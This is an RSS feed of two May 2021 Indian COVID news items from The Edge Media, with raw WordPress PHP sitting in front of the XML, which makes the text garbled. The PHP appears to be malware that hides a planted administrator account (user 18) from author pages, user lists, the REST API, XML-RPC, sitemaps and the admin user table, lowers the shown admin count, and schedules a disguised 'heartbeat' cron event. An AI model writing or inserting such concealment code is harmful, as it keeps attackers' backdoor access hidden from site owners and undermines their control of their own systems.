add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DCGI Archives &#8211; The Edge Media</title>
	<atom:link href="https://theedgemedia.in/tag/dcgi/feed" rel="self" type="application/rss+xml" />
	<link>https://theedgemedia.in/tag/dcgi</link>
	<description>Another Look At Your Day</description>
	<lastBuildDate>Tue, 18 May 2021 14:17:44 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png</url>
	<title>DCGI Archives &#8211; The Edge Media</title>
	<link>https://theedgemedia.in/tag/dcgi</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</title>
		<link>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days</link>
					<comments>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Tue, 18 May 2021 14:17:44 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[#vaccination]]></category>
		<category><![CDATA[adults]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[children]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[Covid 19]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[DCGI]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[vaccine]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12968</guid>

					<description><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the Covaxin trials on May 13.</p>
<p>Dr. VK Paul, a member of the health NITI Aayog said,&#8221;COVAXIN has been approved by the Drugs Controller General of India (DCGI), for phase II/III clinical trials in the age group of 2 to 18 years. I have been told that trials will begin in the next 10-12 days&#8221;. The trial will be done in 525 subjects at various sites.</p>
<p>Covaxin, together with Covishield, is being used to vaccinate adults in the country. The US authorized Pfizer and BioNTech&#8217;s vaccine for children ageing from 2 to 15 years last week.</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DRDO&#8217;s Anti-Covid oral drug to be given out tomorrow</title>
		<link>https://theedgemedia.in/drdos-anti-covid-oral-drug-to-be-given-out-tomorrow</link>
					<comments>https://theedgemedia.in/drdos-anti-covid-oral-drug-to-be-given-out-tomorrow#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Sun, 16 May 2021 15:42:32 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[National Edge]]></category>
		<category><![CDATA[covid-19]]></category>
		<category><![CDATA[DCGI]]></category>
		<category><![CDATA[Dr Reddy]]></category>
		<category><![CDATA[DRDO]]></category>
		<category><![CDATA[Laboratories]]></category>
		<category><![CDATA[Oral Drug]]></category>
		<category><![CDATA[Ramesh Pokhriyal]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12658</guid>

					<description><![CDATA[<p>An anti-coronavirus drug is developed by the Defence Research and Development Organization (DRDO) and will be launched tomorrow. It will be launched with the Union Defence Minister Rajnath Singh distributing around 10,000 doses of the same to some hospitals in the national capital. The drug is called 2-deoxy-D-glucose or 2-DG and was developed by a [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/drdos-anti-covid-oral-drug-to-be-given-out-tomorrow">DRDO&#8217;s Anti-Covid oral drug to be given out tomorrow</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>An anti-coronavirus drug is developed by the Defence Research and Development Organization (DRDO) and will be launched tomorrow. It will be launched with the Union Defence Minister Rajnath Singh distributing around 10,000 doses of the same to some hospitals in the national capital.</p>
<p>The drug is called 2-deoxy-D-glucose or 2-DG and was developed by a DRDO lab in collaboration with Hyderabad-based pharma company, Dr. Reddy&#8217;s Laboratories. The country&#8217;s top drug regulator, Drugs Controller General of India (DCGI), has approved the medicine for emergency use.</p>
<p>The drug has shown excellent results in its phase 2 and phase 3 clinical trials. The medicine was developed to be safe for COVID-19 patients in phase 2 trials which was conducted between May and October. It was also found that it is successful in cutting short the hospital stays of patients and reducing supplemental use of oxygen.</p>
<p>The post <a href="https://theedgemedia.in/drdos-anti-covid-oral-drug-to-be-given-out-tomorrow">DRDO&#8217;s Anti-Covid oral drug to be given out tomorrow</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/drdos-anti-covid-oral-drug-to-be-given-out-tomorrow/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>